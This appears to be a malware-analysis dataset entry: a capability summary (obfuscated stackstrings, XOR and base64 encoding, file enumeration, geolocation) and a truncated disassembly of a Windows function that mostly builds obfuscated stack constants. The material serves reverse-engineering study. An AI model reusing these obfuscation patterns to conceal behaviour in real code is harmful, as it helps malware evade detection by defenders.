Function at 0x140054080
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Create process on windows
Delete directory
Encode data using base64
Encode data using xor
Enumerate files on windows
Get common file path
Get disk information
Get geographical location
Identify system language via api
Manipulate console buffer
Move file
Parse pe header
Set file attributes

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x16aa8
call fcn.140168500
sub rsp, rax
movabs rax, 0xb20b3def825a9d4b
mov qword [rsp + 0x46d0], rax
mov byte [rsp + 0x50], 0x62
mov eax, 0x4fe5
mov word [rsp + 0x800], ax
movabs rax, 0x6bdc50cf4fc02765
mov qword [rsp + 0x46d8], rax
mov eax, 0xf55
mov word [rsp + 0x804], ax
mov byte [rsp + 0x51], 0x7a
mov byte [rsp + 0x52], 0x40
movabs rax, 0xd1974c9623f21ec7
mov qword [rsp + 0x46e0], rax
movabs rax, 0x41207423d0b430c4
mov qword [rsp + 0x46e8], rax
movabs rax, 0x8b2c67e83bc9266c
mov qword [rsp + 0x46f0], rax
mov eax, 0x768
mov word [rsp + 0x808], ax
mov byte [rsp + 0x53], 0x75
mov eax, 0x6de9
mov word [rsp + 0x80c], ax
mov eax, 0xb06
mov word [rsp + 0x810], ax
mov byte [rsp + 0x54], 0x7e
movabs rax, 0xe0113b561f7865e1
mov qword [rsp + 0x46f8], rax
mov dword [rsp + 0x2628], 0x5c05d5ed
mov byte [rsp + 0x55], 0xa
mov dword [rsp + 0x262c], 0x2f62cefc
movabs rax, 0xbd01de9b54d77587
mov qword [rsp + 0x4700], rax
mov dword [rsp + 0x2630], 0x2e526fb4
mov byte [rsp + 0x56], 0x62
mov byte [rsp + 0x57], 0x66
mov byte [rsp + 0x58], 0x42
mov eax, 0x6f9
mov word [rsp + 0x814], ax
movabs rax, 0x535c65ac28a01bac
mov qword [rsp + 0x4708], rax
mov eax, 0x372f
mov word [rsp + 0x818], ax
mov byte [rsp + 0x59], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x2634], 0x7e46744
movabs rax, 0xe6ee318d35814689
mov qword [rsp + 0x4710], rax
mov dword [rsp + 0x2638], 0x96c729e6
mov dword [rsp + 0x263c], 0xa2108c67
mov dword [rsp + 0x2640], 0x75382fc1
movabs rax, 0x4bf84486a89443
mov qword [rsp + 0x4718], rax
movabs rax, 0x672a254b390f512
mov qword [rsp + 0x4720], rax
movabs rax, 0x79964469f7f0d863
mov qword [rsp + 0x4728], rax
mov dword [rsp + 0x2644], 0x6709e63
mov eax, 0x5a3
mov word [rsp + 0x81c], ax
mov byte [rsp + 0x5a], 0x93
mov dword [rsp + 0x2648], 0x44d0bb3f
mov byte [rsp + 0x5b], 0x37
mov dword [rsp + 0x264c], 0x49fa39bb
mov dword [rsp + 0x2650], 0x386749e2
mov dword [rsp + 0x2654], 0xac0e9857
mov dword [rsp + 0x2658], 0x1f829273
mov eax, 0x43fe
mov word [rsp + 0x820], ax
mov dword [rsp + 0x265c], 0x4195c8b5
movabs rax, 0x30ffd3627fac5cca
mov qword [rsp + 0x4730], rax
movabs rax, 0x447f954df1d0db3a
mov qword [rsp + 0x4738], rax
mov dword [rsp + 0x2660], 0x864c9d95
mov eax, 0x1078
mov word [rsp + 0x824], ax
mov eax, 0x109
mov word [rsp + 0x828], ax
movabs rax, 0xff74235c4a7d865b
mov qword [rsp + 0x4740], rax
mov eax, 0x7ff
mov word [rsp + 0x82c], ax
mov dword [rsp + 0x2664], 0x7a05848e
mov dword [rsp + 0x2668], 0x6fb3a9d1
mov dword [rsp + 0x266c], 0x559b1edb
mov byte [rsp + 0x5c], 0x41
mov byte [rsp + 0x5d], 0x67
mov byte [rsp + 0x5e], ILFree
movabs rax, 0xba3a9dffc9220b92
mov qword [rsp + 0x4748], rax
mov dword [rsp + 0x2670], 0x11a783e
mov dword [rsp + 0x2674], 0x74d78937
mov byte [rsp + 0x5f], 0xcf
mov dword [rsp + 0x2678], 0xa10d0154
mov byte [rsp + 0x60], 0x1e
mov eax, 0x17ae
mov word [rsp + 0x830], ax
mov byte [rsp + 0x61], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x62], 4
movabs rax, 0x7b63bab4bc8825ad
mov qword [rsp + 0x4750], rax
mov eax, 0x1d7
mov word [rsp + 0x834], ax
mov eax, 0x9b8
mov word [rsp + 0x838], ax
mov eax, 0xf05
mov word [rsp + 0x83c], ax
movabs rax, 0x1873ea81c200df4
mov qword [rsp + 0x4758], rax
movabs rax, 0x313c65f11a6bff78
mov qword [rsp + 0x4760], rax
mov byte [rsp + 0x63], 7
mov eax, 0xb87
mov word [rsp + 0x840], ax
movabs rax, 0x78afae39ad889692
mov qword [rsp + 0x4768], rax
mov eax, 0x40a9
mov word [rsp + 0x844], ax
mov byte [rsp + 0x64], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x65], 0xe6
movabs rax, 0x8895bd3cf373261a
mov qword [rsp + 0x4770], rax
mov dword [rsp + 0x267c], 0xc6b86cdd
mov eax, 0x7ab
mov word [rsp + 0x848], ax
mov dword [rsp + 0x2680], 0x7d389848
movabs rax, 0xe82ac6e24f1f7ef0
mov qword [rsp + 0x4778], rax
mov eax, 0x42c0
mov word [rsp + 0x84c], ax
mov dword [rsp + 0x2684], 0x5a0e37d3
mov eax, 0xfa4
mov word [rsp + 0x850], ax
mov eax, 0xef4
mov word [rsp + 0x854], ax
mov dword [rsp + 0x2688], 0x80dcf2de
mov dword [rsp + 0x268c], 0x1caa6403
mov eax, 0x7ba
mov word [rsp + 0x858], ax
mov eax, 0x42
mov word [rsp + 0x85c], ax
mov eax, 0xcdb
mov word [rsp + 0x860], ax
mov dword [rsp + 0x2690], 0xe655cfd
mov byte [rsp + 0x66], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x67], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x68], 0x4c
mov dword [rsp + 0x2694], 0x384c9cf8
mov eax, 0x673c
mov word [rsp + 0x864], ax
mov byte [rsp + 0x69], 0x32
mov dword [rsp + 0x2698], 0x296d0b95
movabs rax, 0x70f2936a0c92814d
mov qword [rsp + 0x4780], rax
mov dword [rsp + 0x269c], 0x25ca3473
mov dword [rsp + 0x26a0], 0x4951d4ae
movabs rax, 0xf1ef42ec476f5b40
mov qword [rsp + 0x4788], rax
mov byte [rsp + 0x6a], PathMakeUniqueName
mov eax, 0xa09
mov word [rsp + 0x868], ax
movabs rax, 0xbc85c4b43fc039
mov qword [rsp + 0x4790], rax
mov dword [rsp + 0x26a4], 0x4e18e906
mov byte [rsp + 0x6b], 0x5a
movabs rax, 0x56958da0fe9300bf
mov qword [rsp + 0x4798], rax
movabs rax, 0x4d1148319550d0a0
mov qword [rsp + 0x47a0], rax
mov byte [rsp + 0x6c], 0
movabs rax, 0x2099e17c82cd6898
mov qword [rsp + 0x47a8], rax
movabs rax, 0x5d2fb49ae76b745
mov qword [rsp + 0x47b0], rax
mov byte [rsp + 0x6d], 0x43
mov byte [rsp + 0x6e], 0x7a
movabs rax, 0x740fef03fb6daeec
mov qword [rsp + 0x47b8], rax
mov dword [rsp + 0x26a8], 0xd56df55
mov eax, 0x380c
mov word [rsp + 0x86c], ax
mov dword [rsp + 0x26ac], 0x2b0f5ec5
mov dword [rsp + 0x26b0], 0xb800eb0a
movabs rax, 0x4cce412a1ee6eadc
mov qword [rsp + 0x47c0], rax
mov byte [rsp + 0x6f], SHSetInstanceExplorer
mov byte [rsp + 0x70], 0x44
mov dword [rsp + 0x26b4], 0x2fee5820
mov dword [rsp + 0x26b8], 0x70a98395
mov dword [rsp + 0x26bc], 0x76b143f1
movabs rax, 0xe9a559d2470d6bf
mov qword [rsp + 0x47c8], rax
mov dword [rsp + 0x26c0], 0xc81e9337
mov eax, 0x698f
mov word [rsp + 0x870], ax
mov dword [rsp + 0x26c4], 0x87130e45
mov eax, 0x5ec
mov word [rsp + 0x874], ax
mov byte [rsp + 0x71], 0
mov byte [rsp + 0x72], 0x7e
movabs rax, 0x2cec3096267612bd
mov qword [rsp + 0x47d0], rax
mov dword [rsp + 0x26c8], 0x213b683
mov byte [rsp + 0x73], 0x68
mov dword [rsp + 0x26cc], 0xee66089b
mov dword [rsp + 0x26d0], 0x4e681049
mov byte [rsp + 0x74], 0x21
movabs rax, 0xe7e1fdf2993ac626
mov qword [rsp + 0x47d8], rax
mov eax, 0x306b
mov word [rsp + 0x878], ax
movabs rax, 0x56e924b511168d6b
mov qword [rsp + 0x47e0], rax
mov dword [rsp + 0x26d4], 0x5ffca987
movabs rax, 0x500fbf91d7407c69
mov qword [rsp + 0x47e8], rax
movabs rax, 0xae60af38e884beaf
mov qword [rsp + 0x47f0], rax
mov byte [rsp + 0x75], 0xc5
mov eax, 0x94a
mov word [rsp + 0x87c], ax
movabs rax, 0xa37be43a3ca704d0
mov qword [rsp + 0x47f8], rax
mov dword [rsp + 0x26d8], 0x6c65ce59
mov dword [rsp + 0x26dc], 0x43d8d575
mov dword [rsp + 0x26e0], 0x5109cc9a
mov dword [rsp + 0x26e4], 0x7a94332f
movabs rax, 0xc9467636fcfe6399
mov qword [rsp + 0x4800], rax
mov dword [rsp + 0x26e8], 0x2ee27c4f
mov dword [rsp + 0x26ec], 0x419404be
mov byte [rsp + 0x76], 0x52
mov dword [rsp + 0x26f0], 0xe32d37be
mov eax, 0x206
mov word [rsp + 0x880], ax
mov byte [rsp + 0x77], 0x78
mov dword [rsp + 0x26f4], 0x938de7ea
mov dword [rsp + 0x26f8], 0x89161dc8
mov eax, 0x18d2
mov word [rsp + 0x884], ax
mov byte [rsp + 0x78], 0x7b
movabs rax, 0xcaf53b7df76cac5a
mov qword [rsp + 0x4808], rax
mov eax, 0x26e
mov word [rsp + 0x888], ax
mov dword [rsp + 0x26fc], 0x4d228093
mov byte [rsp + 0x79], 0x1d
mov eax, 0xd4
mov word [rsp + 0x88c], ax
mov eax, 0x7c1f
mov word [rsp + 0x890], ax
mov eax, 0xf1
mov word [rsp + 0x894], ax
mov byte [rsp + 0x7a], 0x68
mov byte [rsp + 0x7b], 0xa
mov dword [rsp + 0x2700], 0x5db4d24b
mov byte [rsp + 0x7c], 0xfb
mov dword [rsp + 0x2704], 0x3eee8800
mov byte [rsp + 0x7d], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dword [rsp + 0x2708], 0x1c44a168
movabs rax, 0x5db99da2b28d7b2f
mov qword [rsp + 0x4810], rax
mov byte [rsp + 0x7e], 0x5a
mov eax, 0x555c
mov word [rsp + 0x898], ax
mov dword [rsp + 0x270c], 0x251fae57
mov dword [rsp + 0x2710], 0x4d922abf
movabs rax, 0xed030a3ede535fc4
mov qword [rsp + 0x4818], rax
mov byte [rsp + 0x7f], 0xfc
mov eax, 0x2898
mov word [rsp + 0x89c], ax
mov byte [rsp + 0x80], SHUpdateImageW
mov byte [rsp + 0x81], 0x39
mov byte [rsp + 0x82], 0xe8
mov eax, 0x3d16
mov word [rsp + 0x8a0], ax
mov byte [rsp + 0x83], ILCloneFirst
mov eax, 0x57a5
mov word [rsp + 0x8a4], ax
mov dword [rsp + 0x2714], 0x65e53d8f
mov byte [rsp + 0x84], 0xa8
mov eax, 0xe4a
mov word [rsp + 0x8a8], ax
movabs rax, 0x8498ad3520234585
mov qword [rsp + 0x4820], rax
mov byte [rsp + 0x85], SHDoDragDrop
mov eax, 0x3b01
mov word [rsp + 0x8ac], ax
mov eax, 0x3967
mov word [rsp + 0x8b0], ax
mov dword [rsp + 0x2718], 0x643ec19d
mov eax, 0x166e
mov word [rsp + 0x8b4], ax
mov eax, 0xd01
mov word [rsp + 0x8b8], ax
mov eax, 0xb18
mov word [rsp + 0x8bc], ax
mov eax, 0xd34
mov word [rsp + 0x8c0], ax
mov byte [rsp + 0x86], 0xa5
mov eax, 0x2770
mov word [rsp + 0x8c4], ax
mov eax, 0x75ae
mov word [rsp + 0x8c8], ax
mov byte [rsp + 0x87], 0xcf
mov byte [rsp + 0x88], 0x68
mov byte [rsp + 0x89], 0x6b
movabs rax, 0x6277aacdcd02ba30
mov qword [rsp + 0x4828], rax
mov byte [rsp + 0x8a], 8
movabs rax, 0x4847d7474268ea65
mov qword [rsp + 0x4830], rax
mov eax, 0x210
mov word [rsp + 0x8cc], ax
mov eax, 0x275
mov word [rsp + 0x8d0], ax
mov dword [rsp + 0x271c], 0x48fbe4ff
mov dword [rsp + 0x2720], 0xc8d9d1b
mov eax, 0x36da
mov word [rsp + 0x8d4], ax
movabs rax, 0x5b14f668c80623a0
mov qword [rsp + 0x4838], rax
movabs rax, 0x92c404e070e5fbb0
mov qword [rsp + 0x4840], rax
mov eax, 0x4096
mov word [rsp + 0x8d8], ax
movabs rax, 0x65a9f70b19de5098
mov qword [rsp + 0x4848], rax
mov byte [rsp + 0x8b], PathMakeUniqueName
movabs rax, 0x33120df2b67750aa
mov qword [rsp + 0x4850], rax
mov dword [rsp + 0x2724], 0x32f689f3
mov eax, 0x4d1c
mov word [rsp + 0x8dc], ax
mov eax, 0x36b
mov word [rsp + 0x8e0], ax
mov eax, 0xe09
mov word [rsp + 0x8e4], ax
mov byte [rsp + 0x8c], 0x9c
mov byte [rsp + 0x8d], 0x66
movabs rax, 0x473f3095d57af768
mov qword [rsp + 0x4858], rax
mov eax, 0x74e
mov word [rsp + 0x8e8], ax
movabs rax, 0x40ecfd32e4e37e2d
mov qword [rsp + 0x4860], rax
mov eax, 0x653f
mov word [rsp + 0x8ec], ax
mov dword [rsp + 0x2728], 0x70112909
mov dword [rsp + 0x272c], 0x4dea06d1
movabs rax, 0xb958f156992012de
mov qword [rsp + 0x4868], rax
movabs rax, 0xb539acd5905b4a07
mov qword [rsp + 0x4870], rax
mov dword [rsp + 0x2730], 0x7647474b
movabs rax, 0x53ba4f04d403dbba
mov qword [rsp + 0x4878], rax
mov dword [rsp + 0x2734], 0x31d2c886
movabs rax, 0x45b8f0c801d2b33d
mov qword [rsp + 0x4880], rax
mov byte [rsp + 0x8e], 0xfe
mov dword [rsp + 0x2738], 0x287fb739
mov byte [rsp + 0x8f], 0x26
mov eax, 0x2753
mov word [rsp + 0x8f0], ax
mov eax, 0x43aa
mov word [rsp + 0x8f4], ax
mov byte [rsp + 0x90], ILCloneFirst
mov dword [rsp + 0x273c], 0x6c27e9b5
movabs rax, 0x71747a3dd03b5620
mov qword [rsp + 0x4888], rax
movabs rax, 0xf1dd67e69b97784
mov qword [rsp + 0x4890], rax
mov dword [rsp + 0x2740], 0x2d3c6738
movabs rax, 0x7c6f6603d0c58b3a
mov qword [rsp + 0x4898], rax
mov byte [rsp + 0x91], 0xb4
movabs rax, 0x6c52ab64b49bab9c
mov qword [rsp + 0x48a0], rax
mov dword [rsp + 0x2744], 0xcfa743d5
mov byte [rsp + 0x92], 0x27
mov byte [rsp + 0x93], 0x32
mov byte [rsp + 0x94], 0x86
mov byte [rsp + 0x95], 0xcd
mov byte [rsp + 0x96], PathYetAnotherMakeUniqueName
movabs rax, 0x17f2bd3701fb9be4
mov qword [rsp + 0x48a8], rax
mov eax, 0x2ef8
mov word [rsp + 0x8f8], ax
mov eax, 0xd5
mov word [rsp + 0x8fc], ax
mov byte [rsp + 0x97], 0x7e
movabs rax, 0xdfd318c0939bc72d
mov qword [rsp + 0x48b0], rax
mov eax, 0x3c7
mov word [rsp + 0x900], ax
mov dword [rsp + 0x2748], 0x7a4f04e3
mov dword [rsp + 0x274c], 0x2951e5b
movabs rax, 0x41f9fd06be13aaae
mov qword [rsp + 0x48b8], rax
movabs rax, 0xc5ca431518f48107
mov qword [rsp + 0x48c0], rax
movabs rax, 0x277fc5b2746d5c21
mov qword [rsp + 0x48c8], rax
mov eax, 0x29e3
mov word [rsp + 0x904], ax
mov byte [rsp + 0x98], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x99], SHSetInstanceExplorer
mov byte [rsp + 0x9a], 0xa8
mov byte [rsp + 0x9b], ILFree
mov byte [rsp + 0x9c], 0x3e
mov dword [rsp + 0x2750], 0xd2a790b
mov eax, 0xb4c
mov word [rsp + 0x908], ax
mov byte [rsp + 0x9d], 0x77
mov byte [rsp + 0x9e], pe_nt_image_headers64
mov dword [rsp + 0x2754], 0x6b31e6a5
mov eax, 0x3b27
mov word [rsp + 0x90c], ax
mov byte [rsp + 0x9f], 0x59
mov byte [rsp + 0xa0], 0xa
mov byte [rsp + 0xa1], ILCloneFirst
mov byte [rsp + 0xa2], 0xb5
mov eax, 0xc83
mov word [rsp + 0x910], ax
mov eax, 0x76dd
mov word [rsp + 0x914], ax
mov eax, 0xd92
mov word [rsp + 0x918], ax
mov byte [rsp + 0xa3], 0x9d
mov byte [rsp + 0xa4], 0x7e
mov dword [rsp + 0x2758], 0x23223a22
mov eax, ILFindChild
mov word [rsp + 0x91c], ax
movabs rax, 0x69a06da8eb5ef07d
mov qword [rsp + 0x48d0], rax
mov dword [rsp + 0x275c], 0xe1e7a6c4
mov dword [rsp + 0x2760], 0x97f9cd3c
mov eax, 0x3377
mov word [rsp + 0x920], ax
movabs rax, 0x4d91f88787a5b627
mov qword [rsp + 0x48d8], rax
movabs rax, 0x91b2ea55056e9308
mov qword [rsp + 0x48e0], rax
mov byte [rsp + 0xa5], 0x6f
mov byte [rsp + 0xa6], reloc.SHELL32.dll_ILFindChild
mov eax, 0x8b3
mov word [rsp + 0x924], ax
movabs rax, 0x75060ca35f5fb4ce
mov qword [rsp + 0x48e8], rax
mov byte [rsp + 0xa7], ILFindChild
mov eax, 0x23b8
mov word [rsp + 0x928], ax
mov byte [rsp + 0xa8], 0x34
movabs rax, 0xb6f20aa0bc33a27e
mov qword [rsp + 0x48f0], rax
mov dword [rsp + 0x2764], 0xa41b17d7
movabs rax, 0x575e9b5344d89871
mov qword [rsp + 0x48f8], rax
mov eax, 0x5b
mov word [rsp + 0x92c], ax
movabs rax, 0x3d153ffef4d1e72b
mov qword [rsp + 0x4900], rax
movabs rax, 0xa166e77acadaa0b
mov qword [rsp + 0x4908], rax
mov byte [rsp + 0xa9], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x2768], 0xebff66d5
mov eax, 0xf8f
mov word [rsp + 0x930], ax
mov dword [rsp + 0x276c], 0x1e630ef5
mov eax, 0xbe0
mov word [rsp + 0x934], ax
mov eax, 0x1396
mov word [rsp + 0x938], ax
mov byte [rsp + 0xaa], 0x23
movabs rax, 0x3fcdf1f2e6dc152
mov qword [rsp + 0x4910], rax
mov dword [rsp + 0x2770], 0x1c6997a6
mov dword [rsp + 0x2774], 0x6e7a2642
mov byte [rsp + 0xab], 0xf8
mov eax, 0x2dc
mov word [rsp + 0x93c], ax
movabs rax, 0xc6a5f14ff0bb0dc3
mov qword [rsp + 0x4918], rax
movabs rax, 0x43b6c9157303df94
mov qword [rsp + 0x4920], rax
mov dword [rsp + 0x2778], 0x39723359
mov dword [rsp + 0x277c], 0x31ff757a
mov byte [rsp + 0xac], 0x4e
mov dword [rsp + 0x2780], 0x1b2eb81a
mov eax, 0x481
mov word [rsp + 0x940], ax
mov eax, 0x887
mov word [rsp + 0x944], ax
movabs rax, 0x684cb64f7b8bdd52
mov qword [rsp + 0x4928], rax
movabs rax, 0x16096a72f12e0977
mov qword [rsp + 0x4930], rax
mov byte [rsp + 0xad], 0x64
movabs rax, 0xbfdeeb7d42ecfe62
mov qword [rsp + 0x4938], rax
movabs rax, 0x2099a50e04b49f0
mov qword [rsp + 0x4940], rax
mov eax, 0x62b8
mov word [rsp + 0x948], ax
mov eax, 0xb31
mov word [rsp + 0x94c], ax
movabs rax, 0x883638d1d6df086
mov qword [rsp + 0x4948], rax
mov byte [rsp + 0xae], 0x40
movabs rax, 0x3df151e34f290c9b
mov qword [rsp + 0x4950], rax
mov eax, 0x6e2f
mov word [rsp + 0x950], ax
mov dword [rsp + 0x2784], 0x5fea8de9
mov eax, 0x6196
mov word [rsp + 0x954], ax
mov eax, 0x4083
mov word [rsp + 0x958], ax
mov byte [rsp + 0xaf], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0xa11
mov word [rsp + 0x95c], ax
mov byte [rsp + 0xb0], ILCloneFirst
mov dword [rsp + 0x2788], 0xc1cbd291
mov byte [rsp + 0xb1], 0x71
mov byte [rsp + 0xb2], 0x7d
mov byte [rsp + 0xb3], 0x6d
mov dword [rsp + 0x278c], 0xcd9d7f93
mov dword [rsp + 0x2790], 0x11ccc328
mov dword [rsp + 0x2794], 0x4d0279b
mov byte [rsp + 0xb4], 1
mov eax, 0x6563
mov word [rsp + 0x960], ax
mov dword [rsp + 0x2798], 0x141f73fb
mov byte [rsp + 0xb5], 0x79
mov eax, 0x2a87
mov word [rsp + 0x964], ax
mov byte [rsp + ILClone6], 0xb
mov dword [rsp + 0x279c], 0x5909d370
movabs rax, 0x4fe10b12e329d0cc
mov qword [rsp + 0x4958], rax
mov dword [rsp + 0x27a0], 0x297fe0b1
movabs rax, 0x553b40e9de3a2bad
mov qword [rsp + 0x4960], rax
movabs rax, 0x29362fef0484d59d
mov qword [rsp + 0x4968], rax
mov eax, 0xf46
mov word [rsp + 0x968], ax
mov dword [rsp + 0x27a4], 0x5854afc1
mov dword [rsp + 0x27a8], 0x44026aa8
movabs rax, 0xb478cc98e5026237
mov qword [rsp + 0x4970], rax
movabs rax, 0x7c1af14927af584c
mov qword [rsp + 0x4978], rax
mov dword [rsp + 0x27ac], 0x2c33bd40
mov eax, 0x437
mov word [rsp + 0x96c], ax
mov dword [rsp + 0x27b0], 0x7b026088
movabs rax, 0x18cf1ae96944d825
mov qword [rsp + 0x4980], rax
mov byte [rsp + 0xb7], reloc.SHELL32.dll_ILFindChild
mov eax, 0x751
mov word [rsp + 0x970], ax
mov dword [rsp + 0x27b4], 0x21f04b01
mov dword [rsp + 0x27b8], 0x1d845d1e
mov byte [rsp + 0xb8], 2
mov eax, 0x7e8
mov word [rsp + 0x974], ax
mov dword [rsp + 0x27bc], 0x56123c4a
mov eax, reloc.SHELL32.dll_SHGetImageList
mov word [rsp + 0x978], ax
movabs rax, 0x356f1a41e053b0b4
mov qword [rsp + 0x4988], rax
mov eax, 0x6087
mov word [rsp + 0x97c], ax
mov byte [rsp + 0xb9], 0x36
mov eax, 0xe0b
mov word [rsp + 0x980], ax
mov byte [rsp + 0xba], PathYetAnotherMakeUniqueName
mov eax, 0x517
mov word [rsp + 0x984], ax
mov byte [rsp + ILCloneb], 0xb
movabs rax, 0xd089be99a02bf83
mov qword [rsp + 0x4990], rax
movabs rax, 0x1e908c71d005f3ff
mov qword [rsp + 0x4998], rax
mov byte [rsp + 0xbc], 0x42
mov dword [rsp + 0x27c0], 0x3d557ec2
mov eax, 0xbb0
mov word [rsp + 0x988], ax
mov dword [rsp + 0x27c4], 0xa2567847
mov byte [rsp + 0xbd], 0x22
movabs rax, 0x73eb5773e588e5ed
mov qword [rsp + 0x49a0], rax
mov dword [rsp + 0x27c8], 0xea7f2705
mov byte [rsp + 0xbe], ILFindChild
mov eax, 0xa7a
mov word [rsp + 0x98c], ax
mov byte [rsp + 0xbf], 0xe1
mov eax, 0x414
mov word [rsp + 0x990], ax
movabs rax, 0x67f310811a3643bd
mov qword [rsp + 0x49a8], rax
mov dword [rsp + 0x27cc], 0xa19d8b21
mov dword [rsp + 0x27d0], 0x2de3980e
mov dword [rsp + 0x27d4], 0xed39b27
mov eax, 0x2fef
mov word [rsp + 0x994], ax
movabs rax, 0x118335e72a51ef2f
mov qword [rsp + 0x49b0], rax
movabs rax, 0xa86047594e4096b
mov qword [rsp + 0x49b8], rax
movabs rax, 0xfbd09385d161eb78
mov qword [rsp + 0x49c0], rax
mov dword [rsp + 0x27d8], 0x4b3bd105
mov eax, 0x6222
mov word [rsp + 0x998], ax
movabs rax, 0x35a62b393f00a464
mov qword [rsp + 0x49c8], rax
movabs rax, 0x5cfeb722c975c892
mov qword [rsp + 0x49d0], rax
mov dword [rsp + 0x27dc], 0x44a49aeb
movabs rax, 0x1df643e45cd34fee
mov qword [rsp + 0x49d8], rax
mov byte [rsp + 0xc0], 0xf4
mov dword [rsp + 0x27e0], 0x89c28e3a
movabs rax, 0x560c7b97f2e5029f
mov qword [rsp + 0x49e0], rax
mov dword [rsp + 0x27e4], 0x1839ac7b
mov byte [rsp + 0xc1], 0x72
mov dword [rsp + 0x27e8], 0xde97df55
mov byte [rsp + 0xc2], 0x7c
mov dword [rsp + 0x27ec], 0xc982feb7
mov byte [rsp + 0xc3], 0xd3
mov dword [rsp + 0x27f0], 0xbc050640
movabs rax, 0x7a2988bc16fa21e9
mov qword [rsp + 0x49e8], rax
movabs rax, 0x53847519dc5392c6
mov qword [rsp + 0x49f0], rax
mov eax, 0x48e
mov word [rsp + 0x99c], ax
movabs rax, 0x56b4dd31970b9b2b
mov qword [rsp + 0x49f8], rax
movabs rax, 0x7ffa6c4882cf5151
mov qword [rsp + 0x4a00], rax
mov byte [rsp + 0xc4], 0x78
mov byte [rsp + 0xc5], SHDoDragDrop
movabs rax, 0x1d734f43b583aed
mov qword [rsp + 0x4a08], rax
mov byte [rsp + 0xc6], 0x5d
mov byte [rsp + 0xc7], 0xfb
mov byte [rsp + 0xc8], SHDoDragDrop
mov dword [rsp + 0x27f4], 0x13789121
mov dword [rsp + 0x27f8], 0x6b2271a3
mov byte [rsp + 0xc9], 0x36
mov dword [rsp + 0x27fc], 0x66f17d95
mov eax, 0x31f4
mov word [rsp + 0x9a0], ax
movabs rax, 0xa7bc333b66968644
mov qword [rsp + 0x4a10], rax
mov eax, 0x2341
mov word [rsp + 0x9a4], ax
mov byte [rsp + 0xca], 0x23
movabs rax, 0x1b0cec80af181fb3
mov qword [rsp + 0x4a18], rax
mov eax, 0x5ff9
mov word [rsp + 0x9a8], ax
mov dword [rsp + 0x2800], 0x3a373dd6
mov dword [rsp + 0x2804], 0x3f7700b1
movabs rax, 0x586afa58d0ae5077
mov qword [rsp + 0x4a20], rax
movabs rax, 0x323bfcd531fadc41
mov qword [rsp + 0x4a28], rax
mov byte [rsp + 0xcb], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xcc], 0x78
mov eax, 0x1e8
mov word [rsp + 0x9ac], ax
mov dword [rsp + 0x2808], 0xb3d1f073
mov dword [rsp + 0x280c], 0x62a44557
mov eax, 0xb85
mov word [rsp + 0x9b0], ax
mov eax, 0x3d9
mov word [rsp + 0x9b4], ax
movabs rax, 0x324fdae38f5d8443
mov qword [rsp + 0x4a30], rax
mov byte [rsp + 0xcd], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xce], 0x6a
mov byte [rsp + 0xcf], 1
mov eax, 0x6e90
mov word [rsp + 0x9b8], ax
mov byte [rsp + 0xd0], 0x31
mov byte [rsp + 0xd1], 0x34
mov byte [rsp + 0xd2], reloc.SHELL32.dll_ILIsParent
mov eax, 0x6d74
mov word [rsp + 0x9bc], ax
mov dword [rsp + 0x2810], 0x1ac821fd
mov dword [rsp + 0x2814], 0x56cd1775
mov dword [rsp + 0x2818], 0x34f73a53
mov byte [rsp + 0xd3], 0x78
movabs rax, 0xaea9a180aef365fd
mov qword [rsp + 0x4a38], rax
mov byte [rsp + 0xd4], 0xd1
movabs rax, 0x7e2607e9fbbdc1cb
mov qword [rsp + 0x4a40], rax
mov eax, 0x5fb
mov word [rsp + 0x9c0], ax
movabs rax, 0x7e3281f85cc88c89
mov qword [rsp + 0x4a48], rax
mov eax, 0xccf
mov word [rsp + 0x9c4], ax
mov eax, 0x52c3
mov word [rsp + 0x9c8], ax
mov eax, 0x3261
mov word [rsp + 0x9cc], ax
mov byte [rsp + 0xd5], 0x77
mov dword [rsp + 0x281c], 0xa8ec3ce7
movabs rax, 0x693847005e29df4e
mov qword [rsp + 0x4a50], rax
mov byte [rsp + 0xd6], 5
mov byte [rsp + 0xd7], 0x4f
mov byte [rsp + 0xd8], 0xf7
mov eax, 0x3e9
mov word [rsp + 0x9d0], ax
mov byte [rsp + 0xd9], 0x6f
mov dword [rsp + 0x2820], 0x4618d797
movabs rax, 0x2f641755360dbe2a
mov qword [rsp + 0x4a58], rax
movabs rax, 0x68a86527d963b97c
mov qword [rsp + 0x4a60], rax
mov byte [rsp + 0xda], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0xf224770a87c5764f
mov qword [rsp + 0x4a68], rax
movabs rax, 0xc1ae71ad19027bcd
mov qword [rsp + 0x4a70], rax
mov eax, 0xea2
mov word [rsp + 0x9d4], ax
movabs rax, 0x66494bef2f56176
mov qword [rsp + 0x4a78], rax
movabs rax, 0x1cb089da1058691c
mov qword [rsp + 0x4a80], rax
mov dword [rsp + 0x2824], 0x15709820
movabs rax, 0x4e708057266fbf9a
mov qword [rsp + 0x4a88], rax
mov eax, 0x536a
mov word [rsp + 0x9d8], ax
mov eax, 0x5961
mov word [rsp + 0x9dc], ax
mov dword [rsp + 0x2828], 0x5935f91a
mov eax, 0xc48
mov word [rsp + 0x9e0], ax
mov eax, 0xd89
mov word [rsp + 0x9e4], ax
mov dword [rsp + 0x282c], 0x240e169f
mov dword [rsp + 0x2830], 0xc7a11bd
mov dword [rsp + 0x2834], 0x6b9b2311
mov dword [rsp + 0x2838], 0xe3e02a6d
mov byte [rsp + 0xdb], 0x9d
mov dword [rsp + 0x283c], 0x7a5a70f2
mov byte [rsp + 0xdc], 0x67
mov dword [rsp + 0x2840], 0x5ca3c617
mov eax, 0x1c4
mov word [rsp + 0x9e8], ax
mov dword [rsp + 0x2844], 0x6c2e9727
movabs rax, 0x43640ab2bbd9ebc4
mov qword [rsp + 0x4a90], rax
mov eax, 0x25f4
mov word [rsp + 0x9ec], ax
movabs rax, 0x4a85dd59065d0897
mov qword [rsp + 0x4a98], rax
